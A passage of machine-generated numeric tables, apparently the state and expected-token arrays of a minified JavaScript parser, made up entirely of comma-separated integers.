,97,97,97,97,97,608,97,97,97,45,45,1424,45,1425,67,67,67,67,67,67,67,67,67,67,67,1058,67,67,67,67,45,1555,45,45,1557,45,45,45,45,45,45,45,45,45,45,45,707,45,45,45,45,67,67,1570,67,67,67,67,67,67,67,67,67,67,67,67,67,773,67,67,1595,67,67,1597,67,67,67,67,67,67,67,67,67,67,67,0,0,0,0,0,0,0,0,0,0,139,2158592,2158592,2158592,2404352,2412544,97,97,97,1636,97,97,97,1639,97,97,1641,97,97,97,97,97,97,1173,0,921,0,0,0,0,0,0,45,67,67,67,1693,67,67,67,67,67,67,67,1698,67,67,67,67,67,67,67,1773,67,97,97,97,97,97,97,97,625,97,97,97,97,97,97,97,97,850,97,97,97,97,97,97,97,97,880,97,97,97,97,97,97,97,97,1106,97,97,97,97,97,97,97,1860,45,45,67,67,1865,67,67,67,67,1870,67,67,67,67,1875,67,67,97,97,1880,97,97,0,0,0,97,97,1888,97,0,0,0,1938,97,97,97,97,97,45,45,45,45,45,45,1854,45,45,45,45,45,45,45,1909,45,45,1911,67,67,67,67,67,67,67,67,67,67,1248,67,67,67,67,67,67,1922,67,67,1924,97,97,97,97,97,0,0,0,97,97,97,97,97,1898,45,45,45,45,45,45,1904,45,45,67,67,67,67,97,97,97,97,0,0,16384,97,97,97,97,0,97,97,97,97,97,97,97,97,97,0,1724,2008,2009,45,45,67,67,67,2014,2015,67,67,97,97,0,0,97,97,97,0,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,45,45,45,2022,0,2023,97,97,45,45,45,45,45,45,67,67,67,67,67,67,1869,67,67,67,67,67,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,147,151,154,45,162,45,45,176,178,181,45,45,45,192,196,45,45,45,45,2012,67,67,67,67,67,67,2018,97,0,0,97,1978,97,97,97,1982,45,45,45,45,45,45,45,45,45,972,973,45,45,45,45,45,67,259,263,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,294,298,301,97,309,97,97,323,325,328,97,97,97,97,97,560,97,97,97,569,97,97,97,97,97,97,306,97,97,97,97,97,97,97,97,97,1624,97,97,97,97,97,97,97,0,921,0,1175,0,0,0,0,45,339,343,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,67,67,503,67,67,67,67,67,67,67,67,67,512,67,67,519,97,97,600,97,97,97,97,97,97,97,97,97,609,97,97,616,45,649,45,45,45,45,45,654,45,45,45,45,45,45,45,45,1393,45,45,45,45,45,45,45,45,1209,45,45,45,45,45,45,45,67,763,67,67,67,67,67,67,67,67,770,67,67,67,774,67,0,2045,97,97,97,97,45,45,67,67,0,0,97,97,45,45,45,994,45,45,45,45,45,45,45,45,45,45,67,67,213,67,219,67,67,232,67,242,67,247,67,67,67,779,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1018,67,67,67,67,811,67,67,67,67,67,67,67,67,67,25398,542,13112,544,57889,0,0,54074,54074,550,0,97,834,97,97,97,97,97,839,97,18,131427,0,638,0,0,0,0,362,0,0,365,29315,367,645,97,97,861,97,97,97,97,97,97,97,97,868,97,97,97,872,97,97,877,97,97,97,97,97,97,97,97,97,97,97,97,97,613,97,97,97,97,97,909,97,97,97,97,97,97,97,97,97,0,0,0,18,18,24,24,27,27,27,1036,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1047,67,67,67,1050,67,67,67,67,67,67,67,67,67,67,67,67,1033,67,67,67,97,97,1130,97,97,97,97,97,97,97,97,97,97,97,97,97,638,0,0,67,67,67,1295,67,67,67,0,0,0,0,0,0,0,0,0,97,1317,97,97,97,97,97,97,1375,97,97,97,0,0,0,45,1379,45,45,45,45,45,45,422,45,45,45,429,431,45,45,45,45,0,1090,0,0,97,1479,97,97,97,97,97,97,97,97,97,97,1357,97,97,97,97,97,97,97,97,97,1716,97,97,97,97,97,97,97,97,97,1723,0,921,29315,0,0,0,0,45,929,45,45,45,45,45,45,45,1392,45,45,45,45,45,45,45,45,45,960,45,45,45,45,45,45,97,97,97,1738,45,45,45,45,45,45,45,1743,45,45,45,45,166,45,45,45,45,184,186,45,45,197,45,45,97,1779,0,0,97,97,97,97,97,97,0,0,97,97,0,97,18,131427,0,638,0,0,0,0,362,0,640,365,29315,367,0,921,29315,0,0,0,0,45,45,45,45,45,45,45,45,45,45,1537,45,45,45,45,45,1803,45,45,45,45,45,1809,45,45,45,67,67,67,1814,67,67,67,67,67,67,1821,67,67,67,67,67,67,97,97,97,97,97,0,0,0,97,97,97,97,0,0,67,67,67,1818,67,67,67,67,67,1824,67,67,67,97,97,97,97,97,0,0,0,97,97,97,97,1890,0,1829,97,97,0,0,97,97,1836,97,97,0,0,0,97,97,97,97,1981,45,45,45,45,45,45,45,45,45,1987,1845,97,97,97,45,45,45,45,45,1853,45,45,45,1857,45,45,45,67,1864,67,1866,67,67,67,67,67,67,67,67,67,97,97,97,97,97,97,97,1710,1711,67,67,97,97,97,97,97,0,0,0,1886,97,97,97,0,0,97,97,97,97,1838,0,0,0,97,1843,97,0,1893,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,1745,45,45,67,67,67,67,67,97,97,97,97,97,0,0,1931,97,97,97,97,97,588,97,97,97,97,97,97,97,97,97,97,629,97,97,97,97,97,67,2044,0,97,97,97,97,45,45,67,67,0,0,97,97,45,45,45,1660,45,45,45,45,45,45,45,45,45,45,45,45,453,45,455,67,67,67,67,268,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,348,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,359,0,0,362,0,365,28809,367,139,45,45,45,45,45,421,45,45,45,45,45,45,45,434,45,45,695,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1667,45,0,921,29315,0,925,0,0,45,45,45,45,45,45,45,45,45,1811,45,67,67,67,67,67,67,1037,67,1039,67,67,67,67,67,67,67,67,67,67,67,67,1277,67,67,67,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,1095,0,0,0,1096,97,97,97,97,97,97,97,97,97,97,97,97,869,97,97,97,97,97,97,1131,97,1133,97,97,97,97,97,97,97,97,97,97,1370,97,97,97,97,97,1312,0,0,0,0,1096,0,0,0,97,97,97,97,97,97,97,1327,97,97,97,97,97,1332,97,97,97,1830,97,0,0,97,97,97,97,97,0,0,0,97,97,97,1896,97,97,45,45,45,45,45,45,45,45,45,1548,45,45,45,45,45,45,133,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,45,380,45,45,45,45,45,45,45,45,45,45,401,45,45,158,45,45,45,45,45,45,45,45,45,45,45,45,45,1200,45,45,45,45,206,67,67,67,67,67,225,67,67,67,67,67,67,67,67,754,67,67,67,67,67,67,67,57889,0,0,54074,54074,550,832,97,97,97,97,97,97,97,97,97,1342,97,97,97,97,97,97,67,67,67,67,67,25398,1083,13112,1087,54074,1091,0,0,0,0,0,0,1316,0,831,97,97,97,97,97,97,97,1174,921,0,1175,0,0,0,0,45,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,148,67,67,264,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,295,97,97,97,97,313,97,97,97,97,331,333,97,18,131427,356,638,0,0,0,0,362,0,0,365,0,367,0,45,45,1530,45,45,45,45,45,45,45,45,45,45,45,45,988,45,45,45,97,344,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,402,404,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1756,67,438,45,45,45,45,45,45,45,45,449,450,45,45,45,67,67,214,218,221,67,229,67,67,243,245,248,67,67,67,67,67,488,490,67,67,67,67,67,67,67,67,67,67,67,1071,67,1073,67,67,67,67,67,524,67,67,67,67,67,67,67,67,535,536,67,67,67,67,67,67,1683,1684,67,67,67,67,1688,1689,67,67,67,67,67,67,1586,67,67,67,67,67,67,67,67,67,469,67,67,67,67,67,67,97,97,97,585,587,97,97,97,97,97,97,97,97,97,97,97,1163,97,97,97,97,97,97,97,621,97,97,97,97,97,97,97,97,632,633,97,97,0,0,1782,97,97,97,97,97,0,0,97,97,0,97,712,45,45,45,717,45,45,45,45,45,45,45,45,725,45,45,45,163,167,173,177,45,45,45,45,45,193,45,45,45,45,982,45,45,45,45,45,45,987,45,45,45,45,45,1558,45,1560,45,45,45,45,45,45,45,45,704,705,45,45,45,45,45,45,45,45,731,45,45,45,67,67,67,67,67,739,67,67,67,67,67,67,273,0,24850,12564,0,0,0,0,28809,53531,67,67,67,764,67,67,67,67,67,67,67,67,67,67,67,67,1290,67,67,67,67,67,67,812,67,67,67,67,818,67,67,67,25398,542,13112,544,57889,0,0,54074,54074,550,0,97,97,97,97,97,837,97,97,97,97,97,602,97,97,97,97,97,97,97,97,97,97,1137,97,97,97,97,97,97,97,97,97,862,97,97,97,97,97,97,97,97,97,97,97,1627,97,97,97,0,97,97,97,97,910,97,97,97,97,916,97,97,97,0,0,0,97,97,1940,97,97,1942,45,45,45,45,45,45,385,45,45,45,45,395,45,45,45,45,966,45,969,45,45,45,45,45,45,45,45,45,45,975,45,45,45,406,45,45,45,45,45,45,45,45,45,45,45,45,974,45,45,45,67,67,67,67,1010,67,67,67,67,67,67,67,67,67,67,67,1262,67,67,67,67,67,67,67,67,67,1040,67,1042,67,1045,67,67,67,67,67,67,67,97,1706,97,97,97,1709,97,97,97,67,67,67,67,1051,67,67,67,67,67,1057,67,67,67,67,67,67,67,1443,67,67,1446,67,67,67,67,67,67,67,1297,0,0,0,1303,0,0,0,1309,67,67,67,67,1079,25398,0,13112,0,54074,0,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2207744,2207744,2207744,2207744,2572288,2207744,2207744,2207744,1098,97,97,97,97,97,1104,97,97,97,97,97,97,97,97,97,1356,97,97,97,97,97,97,1128,97,97,97,97,97,97,1134,97,1136,97,1139,97,97,97,97,97,97,1622,97,97,97,97,97,97,97,97,0,921,0,0,0,1176,0,646,45,67,67,67,1268,67,67,67,67,67,67,67,67,67,67,67,67,1469,67,67,67,97,1348,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1127,97,67,1569,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1448,1449,67,1816,67,67,67,67,67,67,67,67,67,1825,67,67,1827,97,97,0,1781,97,97,97,97,97,97,0,0,97,97,0,97,97,97,1831,0,0,97,97,97,97,97,0,0,0,97,97,97,1980,97,45,45,45,45,45,45,45,45,45,45,1395,45,45,45,45,45,97,1846,97,97,45,45,45,45,45,45,45,45,45,45,45,45,1212,45,45,45,45,45,45,2010,45,67,67,67,67,67,2016,67,97,97,0,0,97,97,97,0,97,97,97,97,97,45,45,2007,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,143,45,45,45,1671,45,45,45,45,45,45,45,45,45,45,45,67,1813,67,67,1815,45,45,67,210,67,67,67,67,67,67,239,67,67,67,67,67,67,67,1454,67,67,67,67,67,67,67,67,67,1445,67,67,67,67,67,67,97,97,290,97,97,97,97,97,97,319,97,97,97,97,97,97,303,97,97,317,97,97,97,97,97,97,305,97,97,97,97,97,97,97,97,97,899,97,97,97,97,97,97,375,45,45,45,379,45,45,390,45,45,394,45,45,45,45,45,443,45,45,45,45,45,45,45,45,67,67,67,67,67,461,67,67,67,465,67,67,476,67,67,480,67,67,67,67,67,67,1694,67,67,67,67,67,67,67,67,67,1288,67,67,67,67,67,67,500,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1075,97,97,97,558,97,97,97,562,97,97,573,97,97,577,97,97,97,97,97,895,97,97,97,97,97,97,903,97,97,97,0,97,97,1638,97,97,97,97,97,97,97,97,1646,597,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1334,45,681,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1396,45,45,1399,45,45,730,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1434,67,67,67,67,67,67,750,67,67,67,67,67,67,67,67,67,67,1456,67,67,67,67,67,45,45,993,45,45,45,45,45,45,45,45,45,45,45,67,67,1238,67,67,1006,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1280,1048,1049,67,67,67,67,67,67,67,67,67,67,1059,67,67,67,67,67,67,1286,67,67,67,67,67,67,67,1291,67,97,97,1100,97,97,97,97,97,97,97,97,97,97,97,97,97,638,0,920,97,97,1142,1143,97,97,97,97,97,97,97,97,97,97,1153,97,97,97,97,97,1158,97,97,97,1161,97,97,97,97,1166,97,97,97,97,97,1325,97,97,97,97,97,97,97,97,97,97,1328,97,97,97,97,97,97,97,45,1218,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1678,45,45,45,67,67,67,67,67,1269,67,67,67,67,67,67,67,67,1278,67,67,67,67,67,67,1761,67,67,67,67,67,67,67,67,67,530,67,67,67,67,67,67,97,97,1349,97,97,97,97,97,97,97,97,1358,97,97,97,97,97,97,1623,97,97,97,97,97,97,97,97,0,921,0,0,926,0,0,0,45,45,1411,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1754,45,45,67,67,1301,0,1307,0,1313,97,97,97,97,97,97,97,97,97,97,97,21054,97,97,97,97,67,1757,67,67,67,1760,67,67,67,67,67,67,67,67,67,67,1467,67,67,67,67,67,1778,97,0,0,97,97,97,97,97,97,0,0,97,97,0,97,97,97,97,97,1352,97,97,97,97,97,97,97,97,97,97,1511,97,97,97,97,97,67,67,67,67,67,1820,67,1822,67,67,67,67,67,97,97,97,97,97,0,0,0,97,1933,97,1892,97,97,97,97,97,97,1899,45,45,45,45,45,45,45,45,1664,45,45,45,45,45,45,45,45,1546,45,45,45,45,45,45,45,45,1208,45,45,45,45,45,45,45,45,1224,45,45,45,45,45,45,45,45,673,45,45,45,45,45,45,45,67,67,67,67,67,1925,97,97,97,97,0,0,0,97,97,97,97,97,623,97,97,97,97,97,97,97,97,97,97,307,97,97,97,97,97,97,97,97,97,1796,97,45,45,45,45,45,45,45,970,45,45,45,45,45,45,45,45,1417,45,45,45,45,45,45,45,67,1964,67,67,97,97,97,97,0,0,0,97,97,97,97,0,97,97,97,97,97,97,1721,97,97,0,0,1997,97,0,0,2e3,97,97,0,97,97,97,97,97,45,45,45,45,733,45,67,67,67,67,67,67,67,67,67,67,803,67,67,67,67,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,144,45,45,45,1805,45,1807,45,45,45,45,45,67,67,67,67,67,67,231,67,67,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,45,45,67,211,67,67,67,67,230,234,240,244,67,67,67,67,67,67,464,67,67,67,67,67,67,479,67,67,67,260,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,291,97,97,97,97,310,314,320,324,97,97,97,97,97,97,1367,97,97,97,97,97,97,97,97,97,1355,97,97,97,97,97,97,1362,340,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,360,0,362,0,365,28809,367,139,369,45,45,45,374,67,67,460,67,67,67,67,466,67,67,67,67,67,67,67,67,801,67,67,67,67,67,67,67,67,67,487,67,67,67,67,67,67,67,67,67,67,498,67,67,67,67,67,67,1772,67,67,97,97,97,97,97,97,97,0,921,922,1175,0,0,0,0,45,67,502,67,67,67,67,67,67,67,508,67,67,67,515,517,67,67,67,67,67,97,97,97,97,97,0,0,0,1932,97,97,0,1999,97,97,97,0,97,97,2004,2005,97,45,45,45,45,1193,45,45,45,45,45,45,45,45,45,45,45,676,45,45,45,45,67,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,552,97,97,97,97,97,1377,0,0,45,45,45,45,45,45,45,45,655,45,45,45,45,45,45,45,97,97,557,97,97,97,97,563,97,97,97,97,97,97,97,97,1135,97,97,97,97,97,97,97,97,97,584,97,97,97,97,97,97,97,97,97,97,595,97,97,97,97,97,911,97,97,97,97,97,97,97,638,0,0,0,0,1315,0,0,0,0,97,97,97,1319,97,97,97,0,97,97,97,97,97,97,1733,97,97,97,97,97,97,1340,97,97,97,1343,97,97,1345,97,1346,97,599,97,97,97,97,97,97,97,605,97,97,97,612,614,97,97,97,97,97,1794,97,97,97,45,45,45,45,45,45,45,1207,45,45,45,45,45,45,1213,45,45,745,67,67,67,67,751,67,67,67,67,67,67,67,67,67,67,1577,67,67,67,67,67,762,67,67,67,67,766,67,67,67,67,67,67,67,67,67,67,1765,67,67,67,67,67,777,67,67,781,67,67,67,67,67,67,67,67,67,67,67,67,1592,1593,67,67,97,843,97,97,97,97,849,97,97,97,97,97,97,97,97,97,1510,97,97,97,97,97,97,97,860,97,97,97,97,864,97,97,97,97,97,97,97,97,97,1797,45,45,45,45,1801,45,97,875,97,97,879,97,97,97,97,97,97,97,97,97,97,97,1522,97,97,97,97,97,991,45,45,45,45,996,45,45,45,45,45,45,45,45,67,67,215,67,67,67,67,233,67,67,67,67,251,253,1022,67,67,67,1026,67,67,67,67,67,67,67,67,67,67,1035,67,67,1038,67,67,67,67,67,67,67,67,67,67,67,67,67,1458,67,67,67,67,67,1064,67,67,67,1067,67,67,67,67,1072,67,67,67,67,67,67,1296,0,0,0,0,0,0,0,0,0,2367488,2158592,2158592,2158592,2158592,2158592,2158592,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,1096,0,921,29315,0,0,0,0,928,45,45,45,45,45,934,45,45,45,164,45,45,45,45,45,45,45,45,45,198,45,45,45,378,45,45,45,45,45,45,393,45,45,45,398,45,97,97,1116,97,97,97,1120,97,97,97,97,97,97,97,97,97,1147,1148,97,97,97,97,97,97,97,1129,97,97,1132,97,97,97,97,97,97,97,97,97,97,97,1626,97,97,97,97,0,45,1178,45,45,45,45,45,45,45,45,45,1185,45,45,45,45,441,45,45,45,45,45,45,451,45,45,67,67,67,67,67,227,67,67,67,67,67,67,67,67,1260,67,67,67,1263,67,67,1265,1203,45,45,1205,45,1206,45,45,45,45,45,45,45,45,45,1216,67,1266,67,67,67,67,67,67,67,67,67,1276,67,67,67,67,67,67,492,67,67,67,67,67,67,67,67,67,471,67,67,67,67,481,67,45,1386,45,1389,45,45,45,45,1394,45,45,45,1397,45,45,45,45,995,45,997,45,45,45,45,45,45,45,67,67,67,67,1915,67,67,67,67,67,1422,45,45,45,67,67,67,67,67,67,67,67,67,1433,67,1436,67,67,67,67,1441,67,67,67,1444,67,67,67,67,67,67,67,0,24850,12564,0,0,0,281,28809,53531,97,97,97,97,1494,97,97,97,1497,97,97,97,97,97,97,97,1368,97,97,97,97,97,97,97,97,851,97,97,97,97,97,97,97,67,67,67,1571,67,67,67,67,67,67,67,67,67,67,67,67,25398,542,13112,544,67,67,1583,67,67,67,67,67,67,67,67,1591,67,67,67,67,67,67,752,67,67,67,67,67,67,67,67,67,1056,67,67,67,67,67,67,97,1634,97,0,97,97,97,97,97,97,97,97,97,97,97,97,1125,97,97,97,1647,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,1183,45,45,45,45,45,45,45,45,45,409,45,45,45,45,45,45,1658,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1668,1712,97,97,97,0,97,97,97,97,97,97,97,97,97,0,0,1835,97,97,97,97,0,0,0,97,97,1844,97,97,1726,0,97,97,97,97,97,1732,97,1734,97,97,97,97,97,300,97,308,97,97,97,97,97,97,97,97,866,97,97,97,97,97,97,97,67,67,67,1758,67,67,67,1762,67,67,67,67,67,67,67,67,1043,67,67,67,67,67,67,67,67,67,67,67,67,1771,67,67,67,97,97,97,97,97,1776,97,97,97,97,297,97,97,97,97,97,97,97,97,97,97,97,1108,97,97,97,97,67,67,67,1966,97,97,97,1970,0,0,0,97,97,97,97,0,97,97,97,1720,97,97,97,97,97,0,0,97,97,97,1837,97,0,1840,1841,97,97,97,1988,45,67,67,67,67,67,67,67,67,67,1994,1995,67,97,97,97,97,97,1103,97,97,97,97,97,97,97,97,97,97,917,97,97,0,0,0,67,67,265,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,345,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,0,361,362,0,365,28809,367,139,45,45,45,45,45,671,45,45,45,45,45,45,45,45,45,45,411,45,45,414,45,45,45,45,377,45,45,45,386,45,45,45,45,45,45,45,45,45,1223,45,45,45,45,45,45,45,45,45,426,45,45,433,45,45,45,67,67,67,67,67,463,67,67,67,472,67,67,67,67,67,67,67,527,67,67,67,67,67,67,537,67,540,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,97,97,97,97,97,1119,97,97,97,97,97,97,97,97,97,97,1509,97,97,97,97,97,97,97,97,564,97,97,97,97,97,97,97,637,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,0,921,29315,0,0,0,927,45,45,45,45,45,45,45,45,45,1234,45,45,45,45,67,67,67,67,1240,45,697,45,45,45,45,45,45,45,45,45,45,708,45,45,45,45,1221,45,45,45,45,1225,45,45,45,45,45,45,384,45,45,45,45,45,45,45,45,45,1210,45,45,45,45,45,45,67,67,795,67,67,67,67,67,67,67,67,67,67,67,67,67,1470,67,67,67,67,67,67,67,815,67,67,67,67,67,67,25398,542,13112,544,97,97,97,893,97,97,97,97,97,97,97,97,97,97,97,97,1164,97,97,97,67,67,67,1025,67,67,67,67,67,67,67,67,67,67,67,67,1687,67,67,67,67,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,0,1097,1241,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1450,45,45,1388,45,1390,45,45,45,45,45,45,45,45,45,45,45,1236,67,67,67,67,67,1437,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1472,1490,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1503,67,67,67,67,67,97,97,97,97,97,0,1930,0,97,97,97,97,97,847,97,97,97,97,97,97,97,97,97,858,67,67,1965,67,97,97,97,97,0,0,0,97,97,97,97,0,97,97,1719,97,97,97,97,97,97,0,0,0,45,45,45,45,1382,45,1383,45,45,45,159,45,45,45,45,45,45,45,45,45,45,45,45,45,1563,45,45,45,45,45,67,261,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,341,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,97,1099,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1333,97,1230,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,1992,67,1993,67,67,67,97,97,45,45,160,45,45,45,45,45,45,45,45,45,45,45,45,45,1665,45,45,45,45,45,131427,357,0,0,0,362,0,365,28809,367,139,45,45,45,45,45,684,45,45,45,45,45,45,45,45,45,45,412,45,45,45,416,45,45,45,440,45,45,45,45,45,45,45,45,45,45,45,67,67,1990,67,1991,67,67,67,67,67,67,67,97,97,1707,97,97,97,97,97,97,501,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1691,67,67,67,67,67,526,67,67,67,67,67,67,67,67,67,67,1030,67,1032,67,67,67,67,598,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1632,0,921,29315,923,0,0,0,45,45,45,45,45,45,45,45,45,1404,45,45,45,45,45,45,45,45,45,425,45,45,45,45,45,45,67,67,67,67,67,25398,0,13112,0,54074,0,0,1093,0,0,0,0,0,97,1609,97,97,97,97,97,97,97,97,97,1369,97,97,97,1372,97,97,67,67,266,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,346,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,665,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1677,45,45,45,45,67,45,45,954,45,956,45,45,45,45,45,45,45,45,45,45,45,1545,45,45,45,45,45,45,45,45,45,448,45,45,45,45,67,456,67,67,67,67,67,1270,67,67,67,67,67,67,67,67,67,67,1069,67,67,67,67,67,67,97,97,97,1350,97,97,97,97,97,97,97,97,97,97,97,97,1524,97,97,97,97,97,97,97,1376,0,0,0,45,45,45,45,45,45,45,45,1559,1561,45,45,45,1564,45,1566,1567,45,67,67,67,67,67,1573,67,67,67,67,67,67,67,67,67,67,1247,67,67,67,67,67,1252,97,1725,97,0,97,97,97,97,97,97,97,97,97,97,97,97,1628,97,1630,0,0,94242,0,0,0,2211840,0,1118208,0,0,0,0,2158592,2158731,2158592,2158592,2158592,3117056,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3018752,2158592,3043328,2158592,2158592,2158592,2158592,3080192,2158592,2158592,3112960,2158592,2158592,2158592,2158592,2158592,2158878,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2605056,2158592,2158592,2207744,0,542,0,544,0,0,2166784,0,0,0,550,0,0,2158592,2158592,2686976,2158592,2715648,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2867200,2158592,2904064,2158592,2158592,2158592,2158592,2158592,2158592,2158592,0,94242,0,0,0,2211840,0,0,1130496,0,0,0,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,0,139,0,0,0,139,0,2367488,2207744,0,0,0,0,176128,0,2166784,0,0,0,0,0,286,2158592,2158592,3170304,3174400,2158592,0,0,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,1508,2158592,2908160,2158592,2158592,2158592,2977792,2158592,2158592,2158592,2158592,3039232,2158592,2158592,2158592,2158592,2158592,2158592,3158016,67,24850,24850,12564,12564,0,0,0,0,0,53531,53531,0,286,97,97,97,97,97,1144,97,97,97,97,97,97,97,97,97,97,1149,97,97,97,97,1154,57889,0,0,0,0,550,0,97,97,97,97,97,97,97,97,97,561,97,97,97,97,97,97,576,97,97,139264,139264,139264,139264,139264,139264,139264,139264,139264,139264,139264,139264,0,0,139264,0,921,29315,0,0,926,0,45,45,45,45,45,45,45,45,45,719,720,45,45,45,45,45,45,45,45,685,45,45,45,45,45,45,45,45,45,942,45,45,946,45,45,45,950,45,45,0,2146304,2146304,0,0,0,0,2224128,2224128,2224128,2232320,2232320,2232320,2232320,0,0,1301,0,0,0,0,0,1307,0,0,0,0,0,1313,0,0,0,0,0,0,0,97,97,1318,97,97,97,97,97,97,1795,97,97,45,45,45,45,45,45,45,446,45,45,45,45,45,45,67,67,2158592,2146304,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,0,921,29315,0,924,0,0,45,45,45,45,45,45,45,45,45,1e3,45,45,45,45,67,67],r.EXPECTED=[290,300,304,353,296,309,305,319,315,324,328,352,354,334,338,330,320,345,349,293,358,362,341,366,312,370,374,378,382,386,390,394,398,737,402,634,439,604,634,634,634,634,408,634,634,634,404,634,634,634,457,634,634,963,634,634,413,634,634,634,634,634,634,634,663,418,422,903,902,426,431,548,634,437,521,919,443,615,409,449,455,624,731,751,634,461,465,672,470,469,474,481,485,477,489,493,629,542,497,505,603,602,991,648,510,804,634,515,958,526,525,530,768,634,546,552,711,710,593,558,562,618,566,570,574,578,582,586,590,608,612,660,822,821,634,622,596,444,628,533,724,633,640,653,647,652,536,1008,451,450,445,657,670,676,685,689,693,697,701,704,707,715,719,798,815,634,723,762,996,634,728,969,730,735,908,634,741,679,889,511,747,634,750,755,499,666,499,501,759,772,776,780,634,787,784,797,802,809,808,427,814,1006,517,634,519,853,634,813,850,793,634,819,826,833,832,837,843,847,857,861,863,867,871,875,879,883,643,887,539,980,979,634,893,944,634,900,896,634,907,933,506,912,917,828,433,636,635,554,961,923,930,927,937,941,634,634,634,974,948,952,985,913,968,967,743,634,973,839,634,978,599,634,984,989,765,444,995,1e3,634,1003,790,955,1012,681,634,634,634,634,634,414,1016,1020,1024,1085,1027,1090,1090,1046,1080,1137,1108,1215,1049,1032,1039,1085,1085,1085,1085,1058,1062,1068,1085,1086,1090,1090,1091,1072,1064,1107,1090,1090,1090,1118,1123,1138,1078,1074,1084,1085,1085,1085,1087,1090,1062,1052,1060,1114,1062,1104,1085,1085,1090,1090,1028,1122,1063,1128,1139,1127,1158,1085,1085,1151,1090,1090,1090,1095,1090,1132,1073,1136,1143,1061,1150,1085,1155,1098,1101,1146,1162,1169,1101,1185,1151,1090,1110,1173,1054,1087,1109,1177,1165,1089,1204,1184,1107,1189,1193,1088,1197,1180,1201,1208,1042,1212,1219,1223,1227,1231,1235,1245,1777,1527,1686,1686,1238,1686,1254,1686,1686,1686,1294,1669,1686,1686,1686,1322,1625,1534,1268,1624,1275,1281,1443,1292,1300,1686,1686,1686,1350,1826,1306,1686,1686,1240,2032,1317,1321,1686,1686,1253,1686,1326,1686,1686,1686,1418,1709,1446,1686,1686,1686,1492,1686,1295,1447,1686,1686,1258,1686,1736,1686,1686,1520,1355,1686,1288,1348,1361,1686,1359,1686,1364,1498,1368,1302,1362,1381,1389,1395,1486,1686,1371,1377,1370,1686,1375,1382,1384,1402,1408,1385,1383,1619,1413,1423,1428,1433,1686,1686,1270,1686,1338,1686,1440,1686,1686,1686,1499,1465,1686,1686,1686,1639,1473,1884,1686,1686,1293,1864,1686,1686,1296,1321,1483,1686,1686,1686,1646,1686,1748,1496,1686,1418,1675,1686,1418,1702,1686,1418,1981,1686,1429,1409,1427,1504,1692,1686,1686,1313,1448,1651,1508,1686,1686,1340,1686,1903,1686,1686,1435,1513,1686,1283,1287,1519,1686,1524,1363,1568,1938,1539,1566,1579,1479,1533,1538,1553,1544,1552,1557,1563,1574,1557,1583,1589,1590,1759,1594,1603,1607,1611,1686,1436,1514,1686,1434,1656,1686,1434,1680,1686,1453,1686,1686,1686,1559,1617,1686,1770,1418,1623,1769,1629,1686,1515,1335,1686,1285,1686,1671,1921,1650,1686,1686,1344,1308,1666,1686,1686,1686,1659,1685,1686,1686,1686,1686,1241,1686,1686,1844,1691,1686,1630,1977,1970,1362,1686,1686,1686,1693,1698,1686,1686,1686,1697,1686,1764,1715,1686,1634,1638,1686,1599,1585,1686,1271,1686,1269,1686,1721,1686,1686,1354,1686,1801,1686,1799,1686,1640,1686,1686,1461,1686,1686,1732,1686,1944,1686,1740,1686,1746,1415,1396,1686,1598,1547,1417,1597,1416,1577,1546,1397,1577,1547,